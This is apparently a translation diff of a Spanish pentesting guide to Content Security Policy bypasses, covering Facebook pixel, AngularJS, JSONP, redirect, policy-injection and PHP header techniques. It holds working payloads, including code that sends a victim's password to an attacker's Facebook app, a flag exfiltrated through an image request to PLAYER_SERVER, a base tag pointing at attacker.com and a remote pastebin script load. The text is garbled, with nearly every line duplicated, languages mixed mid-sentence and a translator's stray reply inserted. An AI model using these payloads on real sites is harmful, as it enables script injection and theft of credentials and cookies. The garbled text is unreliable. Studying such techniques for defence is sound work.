Deberías poder exfiltrar datos, de manera similar a como siempre se ha hecho con [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). En este caso, sigue estos pasos generales:
|
||||
Deberías poder exfiltrar datos, de forma similar a como siempre se ha hecho con [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). En este caso, sigue estos pasos generales:
|
||||
|
||||
1. Crea una cuenta de Facebook Developer aquí.
|
||||
2. Crea una nueva app "Facebook Login" y selecciona "Website".
|
||||
3. Ve a "Settings -> Basic" y obtén tu "App ID"
|
||||
4. En el sitio objetivo del que quieres exfiltrar datos, puedes exfiltrar datos usando directamente el gadget del Facebook SDK "fbq" mediante un "customEvent" y la carga útil de datos.
|
||||
5. Accede a tu App "Event Manager" y selecciona la aplicación que creaste (nota el event manager puede encontrarse en una URL similar a esta: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
|
||||
5. Ve al "Event Manager" de tu App y selecciona la aplicación que creaste (nota: el event manager puede encontrarse en una URL similar a esta: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
|
||||
6. Selecciona la pestaña "Test Events" para ver los eventos enviados por "tu" sitio web.
|
||||
|
||||
Luego, on the victim side, ejecuta el siguiente código para inicializar el Facebook tracking pixel para apuntar al app-id de la Facebook developer account del attacker y emitir un custom event como este:
|
||||
Luego, en el lado de la víctima, ejecutas el siguiente código para inicializar el Facebook tracking pixel para apuntar al app-id de la cuenta de Facebook Developer del atacante y emitir un custom event como este:
|
||||
```JavaScript
|
||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||||
fbq('trackCustom', 'My-Custom-Event',{
|
||||
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
||||
});
|
||||
```
|
||||
En cuanto a los otros siete dominios de terceros especificados en la tabla anterior, hay muchas otras formas en las que puedes abusar de ellos. Consulta la [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) mencionada anteriormente para explicaciones adicionales sobre otros abusos de terceros.
|
||||
En cuanto a los otros siete dominios de terceros especificados en la tabla anterior, existen muchas otras formas de abusarlos. Refer to the previously [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) para explicaciones adicionales sobre otros abusos de terceros.
|
||||
|
||||
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||
|
||||
Además de la redirección mencionada anteriormente para bypass path restrictions, existe otra técnica llamada Relative Path Overwrite (RPO) que puede usarse en algunos servidores.
|
||||
Además de la redirección mencionada anteriormente para eludir las restricciones de ruta, existe otra técnica llamada Relative Path Overwrite (RPO) que se puede usar en algunos servidores.
|
||||
|
||||
Por ejemplo, si CSP permite la ruta `https://example.com/scripts/react/`, puede bypassarse de la siguiente manera:
|
||||
Por ejemplo, si CSP permite la ruta `https://example.com/scripts/react/`, puede eludirse de la siguiente manera:
|
||||
```html
|
||||
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
|
||||
```
|
||||
El navegador finalmente cargará `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
Esto funciona porque para el navegador estás cargando un archivo llamado `..%2fangular%2fangular.js` ubicado bajo `https://example.com/scripts/react/`, lo cual cumple con la CSP.
|
||||
Esto funciona porque para el navegador estás cargando un archivo llamado `..%2fangular%2fangular.js` ubicado bajo `https://example.com/scripts/react/`, lo cual cumple con CSP.
|
||||
|
||||
Entonces lo decodifica, solicitando efectivamente `https://example.com/scripts/react/../angular/angular.js`, que es equivalente a `https://example.com/scripts/angular/angular.js`.
|
||||
∑, el navegador lo decodificará, solicitando efectivamente `https://example.com/scripts/react/../angular/angular.js`, que es equivalente a `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
Al **explotar esta inconsistencia en la interpretación de URL entre el navegador y el servidor, las reglas de ruta pueden ser eludidas**.
|
||||
Al **explotar esta inconsistencia en la interpretación de la URL entre el navegador y el servidor, se pueden eludir las reglas de ruta**.
|
||||
|
||||
La solución es no tratar `%2f` como `/` en el lado del servidor, asegurando una interpretación consistente entre el navegador y el servidor para evitar este problema.
|
||||
|
||||
Ejemplo en línea:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
||||
Ejemplo online:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
||||
|
||||
### Ejecución de JS en iframes
|
||||
|
||||
@ -361,33 +363,33 @@ Ejemplo en línea:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsb
|
||||
../xss-cross-site-scripting/iframes-in-xss-and-csp.md
|
||||
{{#endref}}
|
||||
|
||||
### **base-uri** ausente
|
||||
### Falta de **base-uri**
|
||||
|
||||
Si la directiva **base-uri** falta, puedes abusar de ella para realizar un [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
|
||||
|
||||
Además, si la **página está cargando un script usando una ruta relativa** (como `<script src="/js/app.js">`) usando un **Nonce**, puedes abusar de la etiqueta **base** para hacer que cargue el script desde **tu propio servidor, logrando un XSS.**\
|
||||
Si la página vulnerable se carga con **httpS**, usa una URL httpS en la base.
|
||||
Además, si la **página está cargando un script usando una ruta relativa** (como `<script src="/js/app.js">`) usando un **Nonce**, puedes abusar de la **base** **tag** para que **cargue** el script desde **tu propio servidor logrando un XSS.**\
|
||||
Si la página vulnerable se carga con **httpS**, utiliza una URL httpS en la base.
|
||||
```html
|
||||
<base href="https://www.attacker.com/" />
|
||||
```
|
||||
### Eventos de AngularJS
|
||||
|
||||
Una política específica conocida como Content Security Policy (CSP) puede restringir los eventos de JavaScript. No obstante, AngularJS introduce eventos personalizados como alternativa. Dentro de un evento, AngularJS proporciona un objeto único `$event`, que referencia el objeto de evento nativo del navegador. Este objeto `$event` puede explotarse para eludir la CSP. Cabe destacar que en Chrome, el objeto `$event/event` posee un atributo `path` que contiene un array de objetos implicados en la cadena de ejecución del evento, con el objeto `window` siempre situado al final. Esta estructura es clave para las tácticas de sandbox escape.
|
||||
Una política específica conocida como Content Security Policy (CSP) puede restringir los eventos de JavaScript. No obstante, AngularJS introduce eventos personalizados como alternativa. Dentro de un evento, AngularJS proporciona un objeto único `$event`, que referencia el objeto de evento nativo del navegador. Este objeto `$event` puede explotarse para eludir la CSP. En particular, en Chrome, el objeto `$event/event` posee un atributo `path`, que contiene un array de objetos implicados en la cadena de ejecución del evento, con el objeto `window` situado siempre al final. Esta estructura es crucial para las tácticas de sandbox escape.
|
||||
|
||||
Dirigiendo este array al filtro `orderBy`, es posible iterar sobre él, aprovechando el elemento terminal (el objeto `window`) para invocar una función global como `alert()`. El fragmento de código mostrado a continuación ilustra este proceso:
|
||||
Dirigiendo este array al filtro `orderBy`, es posible iterar sobre él y aprovechar el elemento final (el objeto `window`) para invocar una función global como `alert()`. El fragmento de código mostrado a continuación esclarece este proceso:
|
||||
```xml
|
||||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
||||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
||||
```
|
||||
Este fragmento destaca el uso de la directiva `ng-focus` para activar el evento, empleando `$event.path|orderBy` para manipular el arreglo `path`, y aprovechando el objeto `window` para ejecutar la función `alert()`, revelando así `document.cookie`.
|
||||
Este fragmento destaca el uso de la directiva `ng-focus` para activar el evento, empleando `$event.path|orderBy` para manipular el array `path`, y aprovechando el objeto `window` para ejecutar la función `alert()`, revelando así `document.cookie`.
|
||||
|
||||
**Find other Angular bypasses in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
|
||||
**Encuentra otros Angular bypasses en** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
|
||||
|
||||
### AngularJS y whitelisted domain
|
||||
```
|
||||
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
|
||||
```
|
||||
Una política CSP que restringe la carga de scripts a dominios permitidos en una aplicación Angular JS puede ser eludida mediante la invocación de callback functions y ciertas clases vulnerables. Más información sobre esta técnica se puede encontrar en una guía detallada disponible en este [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
|
||||
Una política CSP que permite dominios para la carga de scripts en una aplicación Angular JS puede ser eludida mediante la invocación de funciones callback y ciertas clases vulnerables. Más información sobre esta técnica puede encontrarse en una guía detallada disponible en este [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
|
||||
|
||||
Working payloads:
|
||||
```html
|
||||
@ -397,15 +399,15 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
|
||||
<!-- no longer working -->
|
||||
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
|
||||
```
|
||||
Otros endpoints JSONP de ejecución arbitraria se pueden encontrar en [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (algunos de ellos fueron eliminados o corregidos)
|
||||
Otros endpoints de ejecución arbitraria JSONP se pueden encontrar en [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (algunos de ellos fueron eliminados o corregidos)
|
||||
|
||||
### Bypass via Redirection
|
||||
|
||||
¿Qué sucede cuando CSP encuentra una redirección del lado del servidor? Si la redirección conduce a un origen diferente que no está permitido, aún fallará.
|
||||
¿Qué ocurre cuando CSP encuentra una redirección del lado del servidor? Si la redirección apunta a un origen distinto que no está permitido, seguirá fallando.
|
||||
|
||||
Sin embargo, según la descripción en [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), si la redirección conduce a una ruta diferente, puede eludir las restricciones originales.
|
||||
|
||||
Aquí hay un ejemplo:
|
||||
Aquí tienes un ejemplo:
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
@ -423,39 +425,38 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
Si CSP está establecido en `https://www.google.com/a/b/c/d`, dado que se considera la ruta, tanto los scripts `/test` como `/a/test` serán bloqueados por CSP.
|
||||
Si CSP está configurado a `https://www.google.com/a/b/c/d`, ya que la ruta se considera, ambos `/test` y `/a/test` scripts serán bloqueados por CSP.
|
||||
|
||||
Sin embargo, el recurso final `http://localhost:5555/301` será **redireccionado en el servidor a `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Como es una redirección, la **ruta no se considera**, y el **script puede cargarse**, evitando así la restricción de ruta.
|
||||
Sin embargo, el final `http://localhost:5555/301` será **redirigido del lado del servidor a `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Como es una redirección, la **ruta no se considera**, y el **script puede cargarse**, evadiendo así la restricción de ruta.
|
||||
|
||||
Con esta redirección, incluso si la ruta está especificada completamente, seguirá siendo eludida.
|
||||
Con esta redirección, incluso si la ruta se especifica completamente, seguirá siendo evadida.
|
||||
|
||||
Por lo tanto, la mejor solución es asegurarse de que el sitio web no tenga vulnerabilidades de open redirect y de que no existan dominios que puedan ser explotados en las reglas de CSP.
|
||||
Por lo tanto, la mejor solución es asegurarse de que el sitio web no tenga vulnerabilidades de open redirect y de que no haya dominios que puedan ser explotados en las reglas CSP.
|
||||
|
||||
### Bypass CSP with dangling markup
|
||||
|
||||
Lee cómo hacerlo [aquí](../dangling-markup-html-scriptless-injection/index.html).
|
||||
Read [how here](../dangling-markup-html-scriptless-injection/index.html).
|
||||
|
||||
### 'unsafe-inline'; img-src \*; via XSS
|
||||
```
|
||||
default-src 'self' 'unsafe-inline'; img-src *;
|
||||
```
|
||||
`'unsafe-inline'` significa que puedes ejecutar cualquier script dentro del código (XSS puede ejecutar código) y `img-src *` significa que puedes usar en la página web cualquier imagen de cualquier recurso.
|
||||
`'unsafe-inline'` significa que puedes ejecutar cualquier script dentro del código (XSS puede ejecutar código) y `img-src *` significa que puedes usar en la página web cualquier imagen desde cualquier recurso.
|
||||
|
||||
Puedes eludir esta CSP exfiltrando los datos a través de imágenes (en esta ocasión el XSS abusa de un CSRF donde una página accesible por el bot contiene un SQLi, y extrae la flag mediante una imagen):
|
||||
Puedes bypass esta CSP exfiltrating los datos vía imágenes (en esta ocasión el XSS abusa de un CSRF donde una página accesible por el bot contiene un SQLi, y extrae la flag vía una imagen):
|
||||
```javascript
|
||||
<script>
|
||||
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
|
||||
Image().src='http://PLAYER_SERVER/?'+_)
|
||||
</script>
|
||||
```
|
||||
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||
De: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||
|
||||
También podrías abusar de esta configuración para **cargar código javascript insertado dentro de una imagen**. Si, por ejemplo, la página permite cargar imágenes desde Twitter, podrías **crear** una **imagen especial**, **subirla** a Twitter y abusar de "**unsafe-inline**" para **ejecutar** un código JS (como un XSS normal) que **cargará** la **imagen**, **extraerá** el **JS** de ella y **lo ejecutará**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
También podrías abusar de esta configuración para **cargar código javascript insertado dentro de una imagen**. Por ejemplo, si la página permite cargar imágenes desde Twitter. Podrías **crear** una **imagen especial**, **subirla** a Twitter y abusar de "**unsafe-inline**" para **ejecutar** un código JS (como un XSS normal) que **cargará** la **imagen**, **extraerá** el **JS** de ella y lo **ejecutará**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
|
||||
### Con Service Workers
|
||||
|
||||
La función `importScripts` de Service Workers no está limitada por CSP:
|
||||
|
||||
La función **`importScripts`** de Service Workers no está limitada por CSP:
|
||||
|
||||
{{#ref}}
|
||||
../xss-cross-site-scripting/abusing-service-workers.md
|
||||
@ -463,29 +464,29 @@ La función `importScripts` de Service Workers no está limitada por CSP:
|
||||
|
||||
### Policy Injection
|
||||
|
||||
**Investigación:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
|
||||
**Research:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
|
||||
|
||||
#### Chrome
|
||||
|
||||
Si un **parámetro** enviado por ti está siendo **pegado dentro** de la **declaración** de la **política**, entonces podrías **alterar** la **política** de alguna manera que la haga **inútil**. Podrías **allow script 'unsafe-inline'** con cualquiera de estos bypasses:
|
||||
Si un **parameter** enviado por ti está siendo **pegado dentro** de la **declaración** de la **policy**, entonces podrías **alterar** la **policy** de alguna forma que la haga **inútil**. Podrías **permitir script 'unsafe-inline'** con cualquiera de estos bypasses:
|
||||
```bash
|
||||
script-src-elem *; script-src-attr *
|
||||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||
```
|
||||
Because this directive will **overwrite existing script-src directives**.\
|
||||
You can find an example here: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
|
||||
Porque esta directiva va a **sobrescribir las directivas script-src existentes**.\
|
||||
Puedes encontrar un ejemplo aquí: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
|
||||
|
||||
#### Edge
|
||||
|
||||
En Edge es mucho más simple. Si puedes añadir en la CSP solo esto: **`;_`** **Edge** eliminaría toda la **policy**.\
|
||||
Example: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
|
||||
En Edge es mucho más simple. Si puedes añadir en el CSP esto: **`;_`** **Edge** eliminaría toda la **política**.\
|
||||
Ejemplo: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
|
||||
|
||||
### img-src \*; vía XSS (iframe) - Time attack
|
||||
### img-src \*; vía XSS (iframe) - ataque por tiempo
|
||||
|
||||
Observa la ausencia de la directiva `'unsafe-inline'`\
|
||||
Esta vez puedes hacer que la víctima **cargue** una página bajo **tu control** vía **XSS** con un `<iframe`. En esta ocasión harás que la víctima acceda a la página desde la que quieres extraer información (**CSRF**). No puedes acceder al contenido de la página, pero si de alguna forma puedes **controlar el tiempo que la página tarda en cargar** puedes extraer la información que necesitas.
|
||||
En esta ocasión puedes hacer que la víctima **cargue** una página bajo **tu control** vía **XSS** con un `<iframe`. En esta ocasión harás que la víctima acceda a la página desde la que quieres extraer información (**CSRF**). No puedes acceder al contenido de la página, pero si de alguna manera puedes **controlar el tiempo que la página necesita para cargarse** puedes extraer la información que necesitas.
|
||||
|
||||
Esta vez se va a extraer una **flag**: cada vez que un **char es adivinado correctamente** vía SQLi, la **respuesta** tarda **más tiempo** debido a la función sleep. Entonces, podrás extraer la flag:
|
||||
Esta vez se va a extraer una **flag**: cada vez que un **char** sea adivinado correctamente vía SQLi, la **respuesta** tarda **más tiempo** debido a la función sleep. Entonces, podrás extraer la flag:
|
||||
```html
|
||||
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
|
||||
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
|
||||
@ -545,15 +546,15 @@ console.log(prefix)
|
||||
run()
|
||||
</script>
|
||||
```
|
||||
### Vía Bookmarklets
|
||||
### Via Bookmarklets
|
||||
|
||||
Este ataque implicaría algo de ingeniería social donde el atacante **convence al usuario de arrastrar y soltar un enlace sobre el bookmarklet del navegador**. Este bookmarklet contendría **javascript malicioso** que, al ser arrastrado y soltado o al hacer clic, se ejecutaría en el contexto de la ventana web actual, **eludiendo CSP y permitiendo robar información sensible** como cookies o tokens.
|
||||
Este ataque implicaría ingeniería social: el atacante **convence al usuario de arrastrar y soltar un enlace sobre el bookmarklet del navegador**. Este bookmarklet contendría código **malicioso javascript** que, cuando fuera drag\&dropped o clicked, se ejecutaría en el contexto de la ventana web actual, **bypassing CSP y permitiendo robar información sensible** como cookies o tokens.
|
||||
|
||||
Para más información [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
|
||||
### CSP bypass by restricting CSP
|
||||
|
||||
En [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), se elude CSP inyectando dentro de un iframe permitido un CSP más restrictivo que impedía cargar un archivo JS específico que, a su vez, mediante **prototype pollution** o **dom clobbering**, permitía **abusar de un script diferente para cargar un script arbitrario**.
|
||||
En [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP is bypassed inyectando dentro de un iframe permitido un CSP más restrictivo que impedía cargar un archivo JS específico que, luego, mediante **prototype pollution** o **dom clobbering**, permitía **abusar de un script diferente para cargar un script arbitrario**.
|
||||
|
||||
Puedes **restringir el CSP de un Iframe** con el atributo **`csp`**:
|
||||
```html
|
||||
@ -561,8 +562,8 @@ Puedes **restringir el CSP de un Iframe** con el atributo **`csp`**:
|
||||
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
|
||||
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
|
||||
```
|
||||
En [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), fue posible vía **HTML injection** **restringir** más una **CSP** de modo que un **script** que prevenía **CSTI** fue deshabilitado y por lo tanto la **vulnerability became exploitable.**\
|
||||
CSP puede volverse más restrictiva usando **HTML meta tags** y los inline scripts pueden ser deshabilitados **eliminando** la **entrada** que permite su **nonce** y **habilitar inline script específico vía sha**:
|
||||
En [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), fue posible vía **HTML injection** **restringir** más una **CSP** de modo que un script que prevenía CSTI quedara deshabilitado y, por lo tanto, la **vulnerabilidad se volvió explotable.**\
|
||||
La CSP puede hacerse más restrictiva usando **HTML meta tags** y los **inline scripts** pueden desactivarse **eliminando** la **entrada** que permite su **nonce** y **habilitar un inline script específico vía sha**:
|
||||
```html
|
||||
<meta
|
||||
http-equiv="Content-Security-Policy"
|
||||
@ -573,7 +574,7 @@ content="script-src 'self'
|
||||
```
|
||||
### JS exfiltration with Content-Security-Policy-Report-Only
|
||||
|
||||
Si puedes lograr que el servidor responda con la cabecera **`Content-Security-Policy-Report-Only`** con un **valor controlado por ti** (quizá debido a un CRLF), podrías hacer que apunte a tu servidor y, si **envuelves** el **JS content** que quieres exfiltrar con **`<script>`**, y dado que es muy probable que `unsafe-inline` no esté permitido por la CSP, esto **provocará un error de CSP** y parte del script (que contiene la información sensible) será enviada al servidor a través de `Content-Security-Policy-Report-Only`.
|
||||
Si puedes hacer que el servidor responda con la cabecera **`Content-Security-Policy-Report-Only`** con un **valor controlado por ti** (tal vez por un CRLF), podrías hacer que apunte a tu servidor y si envuelves el **contenido JS** que quieres exfiltrar con **`<script>`** y, dado que es muy probable que `unsafe-inline` no esté permitido por la CSP, esto **disparará un error de CSP** y parte del script (conteniendo la información sensible) será enviado al servidor desde `Content-Security-Policy-Report-Only`.
|
||||
|
||||
For an example [**check this CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
|
||||
@ -582,46 +583,46 @@ For an example [**check this CTF writeup**](https://github.com/maple3142/My-CTF-
|
||||
document.querySelector("DIV").innerHTML =
|
||||
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
|
||||
```
|
||||
### Leaking Información con CSP e iframe
|
||||
### Leaking Information with CSP and Iframe
|
||||
|
||||
- Se crea un `iframe` que apunta a una URL (llamémosla `https://example.redirect.com`) que está permitida por CSP.
|
||||
- Esta URL luego redirige a una URL secreta (p. ej., `https://usersecret.example2.com`) que **no está permitida** por CSP.
|
||||
- Esta URL redirige a una URL secreta (p. ej., `https://usersecret.example2.com`) que **no está permitida** por CSP.
|
||||
- Al escuchar el evento `securitypolicyviolation`, se puede capturar la propiedad `blockedURI`. Esta propiedad revela el dominio del URI bloqueado, leaking el dominio secreto al que la URL inicial redirigió.
|
||||
|
||||
Es interesante notar que navegadores como Chrome y Firefox tienen comportamientos diferentes al manejar iframes con respecto a CSP, lo que puede conducir a potencial leakage de información sensible debido a comportamientos indefinidos.
|
||||
Es interesante notar que navegadores como Chrome y Firefox tienen comportamientos diferentes al manejar iframes con respecto a CSP, lo que puede conducir a la filtración de información sensible debido a un comportamiento indefinido.
|
||||
|
||||
Otra técnica implica explotar el propio CSP para deducir el subdominio secreto. Este método se basa en un algoritmo de búsqueda binaria y en ajustar el CSP para incluir dominios específicos que se bloquean deliberadamente. Por ejemplo, si el subdominio secreto está compuesto por caracteres desconocidos, puedes probar iterativamente distintos subdominios modificando la directiva CSP para bloquear o permitir esos subdominios. Aquí hay un fragmento que muestra cómo podría configurarse el CSP para facilitar este método:
|
||||
Otra técnica consiste en explotar el propio CSP para deducir el subdominio secreto. Este método se basa en un algoritmo de búsqueda binaria y en ajustar el CSP para incluir dominios específicos que sean deliberadamente bloqueados. Por ejemplo, si el subdominio secreto está compuesto por caracteres desconocidos, puedes probar iterativamente distintos subdominios modificando la directiva CSP para bloquear o permitir esos subdominios. Aquí hay un fragmento que muestra cómo podría configurarse el CSP para facilitar este método:
|
||||
```markdown
|
||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
```
|
||||
Al monitorizar qué solicitudes son bloqueadas o permitidas por la CSP, se pueden reducir los posibles caracteres en el subdominio secreto, eventualmente descubriendo la URL completa.
|
||||
Al monitorizar qué solicitudes son bloqueadas o permitidas por la CSP, se puede reducir el conjunto de caracteres posibles en el subdominio secreto, eventualmente descubriendo la URL completa.
|
||||
|
||||
Ambos métodos explotan las sutilezas de la implementación de CSP y el comportamiento en los navegadores, demostrando cómo políticas aparentemente seguras pueden, inadvertidamente, leak información sensible.
|
||||
Ambos métodos explotan las particularidades de la implementación de la CSP y el comportamiento en los navegadores, demostrando cómo políticas aparentemente seguras pueden inadvertidamente leak información sensible.
|
||||
|
||||
Truco de [**aquí**](https://ctftime.org/writeup/29310).
|
||||
Trick from [**here**](https://ctftime.org/writeup/29310).
|
||||
|
||||
## Tecnologías inseguras para evadir CSP
|
||||
## Tecnologías inseguras para eludir CSP
|
||||
|
||||
### Errores de PHP cuando hay demasiados parámetros
|
||||
|
||||
Según la [**última técnica comentada en este video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), enviar demasiados parámetros (1001 parámetros GET aunque también se puede hacer con parámetros POST y con más de 20 archivos). Cualquier **`header()`** definido en el código web PHP **no será enviado** debido al error que esto provocará.
|
||||
According to the [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), sending too many parameters (1001 GET parameters although you can also do it with POST params and more that 20 files). Any defined **`header()`** in the PHP web code **no se enviará** because of the error that this will trigger.
|
||||
|
||||
### Sobrecarga del buffer de respuesta de PHP
|
||||
|
||||
PHP es conocido por **almacenar en buffer la respuesta hasta 4096** bytes por defecto. Por lo tanto, si PHP muestra una advertencia, al proporcionar **suficientes datos dentro de las advertencias**, la **respuesta** será **enviada** **antes** del **CSP header**, provocando que el header sea ignorado.\
|
||||
La técnica consiste básicamente en **llenar el buffer de respuesta con advertencias** para que el **CSP header** no sea enviado.
|
||||
PHP es conocido por **almacenar en buffer la respuesta hasta 4096** bytes por defecto. Por tanto, si PHP muestra una advertencia, proporcionando **suficientes datos dentro de las advertencias**, la **respuesta** será **enviada** **antes** del **CSP header**, causando que el header sea ignorado.\
|
||||
Entonces, la técnica consiste básicamente en **llenar el buffer de respuesta con advertencias** para que el header CSP no se envíe.
|
||||
|
||||
Idea de [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||
Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||
|
||||
### Desactivar CSP vía max_input_vars (headers already sent)
|
||||
### Matar CSP vía max_input_vars (headers already sent)
|
||||
|
||||
Como los headers deben enviarse antes de cualquier salida, las advertencias emitidas por PHP pueden invalidar llamadas posteriores a `header()`. Si la entrada del usuario excede `max_input_vars`, PHP lanza primero una advertencia de inicio; cualquier `header('Content-Security-Policy: ...')` posterior fallará con “headers already sent”, deshabilitando efectivamente la CSP y permitiendo XSS reflejada que de otro modo estaría bloqueada.
|
||||
Because headers must be sent before any output, warnings emitted by PHP can invalidate later `header()` calls. If user input exceeds `max_input_vars`, PHP throws a startup warning first; any subsequent `header('Content-Security-Policy: ...')` will fail with “headers already sent”, effectively disabling CSP and allowing otherwise-blocked reflective XSS.
|
||||
```php
|
||||
<?php
|
||||
header("Content-Security-Policy: default-src 'none';");
|
||||
echo $_GET['xss'];
|
||||
```
|
||||
No se proporcionó el contenido a traducir. Por favor pega el contenido de src/pentesting-web/content-security-policy-csp-bypass/README.md para traducir.
|
||||
No has proporcionado el contenido a traducir. Pega el texto del archivo src/pentesting-web/content-security-policy-csp-bypass/README.md y lo traduciré manteniendo el markdown y las reglas indicadas.
|
||||
```bash
|
||||
# CSP in place → payload blocked by browser
|
||||
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
|
||||
@ -633,7 +634,7 @@ curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
|
||||
```
|
||||
### Reescribir la página de error
|
||||
|
||||
Según [**this writeup**](https://blog.ssrf.kr/69) parece que fue posible eludir una protección CSP cargando una página de error (potencialmente sin CSP) y reescribiendo su contenido.
|
||||
